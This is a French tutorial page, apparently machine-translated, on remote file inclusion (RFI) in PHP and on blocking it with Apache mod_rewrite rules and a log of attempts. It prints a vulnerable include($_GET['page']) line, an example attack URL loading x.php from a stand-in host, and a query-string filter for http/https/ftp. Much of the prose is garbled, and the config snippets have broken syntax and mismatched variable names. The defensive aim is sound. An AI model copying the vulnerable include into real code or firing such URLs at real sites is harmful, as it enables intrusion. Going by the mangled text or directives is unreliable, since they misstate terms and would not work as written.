..


Liens sponsorisés

Utiliser mod_rewrite pour empêcher l'inclusion de fichiers distants

Article rédigé par Claudio Garau

L'une des attaques les plus fréquentes subies par les sites Web se fait à travers la tentative d'inclure des fichiers contenant du code malveillant, théoriquement parlant d'une attaque est très simple à réaliser, de le faire juste parce qu'un fichier contenant le code malveillant et une URL du type navigateur.

Ce type d'attaque, connu sous le terme technique pour l'inclusion de fichiers à distance ou avec l'acronyme simple pour RFI, est souvent associée à un mode appelé l'intrusion XSA (Croix-Server Attack) fait habituellement à compromettre la sécurité des sites Web sinon le serveur Web, un facteur qui rend encore plus dangereux pour RFI.

Pour lancer une attaque de RFI, un attaquant a besoin d'une «mémoire» au sein d'une application dans laquelle pour faire son inclusion à distance, cet «espace» est généralement un "trou" (bug) de sécurité qui rend un script vulnérable.
Le cas classique d'une fuite sensibles à la DDR est lié au passage de la page par le biais des noms de variables, juste un simple morceau de code comme ceci à compromettre une application:

 



 # Inclure des fichiers via la variable QueryString traversé







 include ($ _GET ['page']);

 
Dans le code que nous avons une variable indéfinie, ou plutôt à être défini en fonction des paramètres transmis par la chaîne de requête, par exemple, si l'URL directe vers la page contenant la liste proposée devrait ressembler à ceci:
 



 http://www.sito.com/index.php?pagina=news.php

 
la valeur de la variable $ page est égal à "Nouvelles" une attaque contre cette application peut être exécutée de cette manière:
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
Le fichier "x.php", dans le cas d'une attaque réussie, pourrait contenir tout type de code malveillant et causer des dommages beaucoup plus substantielle et définitive que la simplicité de l'attaque peut être fait pour penser.

Heureusement, il existe quelques techniques de défense qui peut être utilisé pour prévenir de telles attaques, au cours de cette brève discussion, nous analyserons l'une basée sur le module de réécriture d'URL (mod_rewrite) fournies par le serveur Web Apache, qui peut être utilisé par des méthodes différentes.

Un des plus classique pour envoyer des instructions à un serveur Web Apache est d'utiliser un fichier classique. Htaccess pour être inclus dans le dossier que vous souhaitez protéger contre les attaques.

La première méthode que nous utilisons est d'insérer une simple règle a. htaccess:






 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 ^(.+)$ RewriteRule - [F]



La règle stipule que formulé dans une chaîne de requête ("{QUERY_STRING}») ne peut pas passer des arguments contenant les suffixes «http», «https" et "ftp" quel que soit le contenu du précédent ou suivant ("(.*)" ) paramètres. Si cela arrive, le serveur Web retourne une erreur de type 403 (interdit).

Ceux qui ont la possibilité d'accéder directement au fichier de configuration d'Apache (httpd.conf), il peut être inséré à l'intérieur d'un conteneur unique contenant une directive peut avoir un effet comparable aux règles énoncées prededentemente:






 # Vérifiez que mod_rewrite est disponible







 Mod_rewrite.c> <IfModule







 # Activer le moteur de réécriture d'URL

 





 RewriteEngine sur

 





 # Nous avons mis notre règle contre RFI







 RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)







 # Filtrer les éventuelles demandes d'inclusion et d'annoter







 # Vraibile avec l'environnement [E = varname: valeur]







 ^(.+)$ RewriteRule - [F, E = RFI: true]

 





 </ IfModule>

 





 # Creaimo un journal des tentatives de RFI, nous identficato







 # Auparavant en utilisant une «variable d'environnement"







 CustomLog / nom_dossier / rfi.log combinée env = RFI



Après avoir écrit la directive dans le fichier de configuration, vous devez enregistrer vos modifications et redémarrer le serveur Web pour prendre effet, noter que à la fin de la liste, et à l'extérieur du conteneur a été insérée à la demande pour la création d'un fichier journal destiné à enregistrer les demandes d'inclusion de fichiers distants, la surveillance de cette petite », note le blocage des attaques RFI," nous allons découvrir que les tentatives d'inclusion de fichier distant à nos sites Web sont moins rares que cru.

Dans la même catégorie ...
E-Learning
Linux (Cours) Linux (Cours)
Guide complet de système open-source. A partir de 49 €.
MySQL (Cours) MySQL (Cours)
Gestion des bases de données open-source. A partir de 39 €.
PHP (cours) PHP (cours)
Cours complet pour la création de sites Web dynamiques. A partir de 49 €.
Liens sponsorisés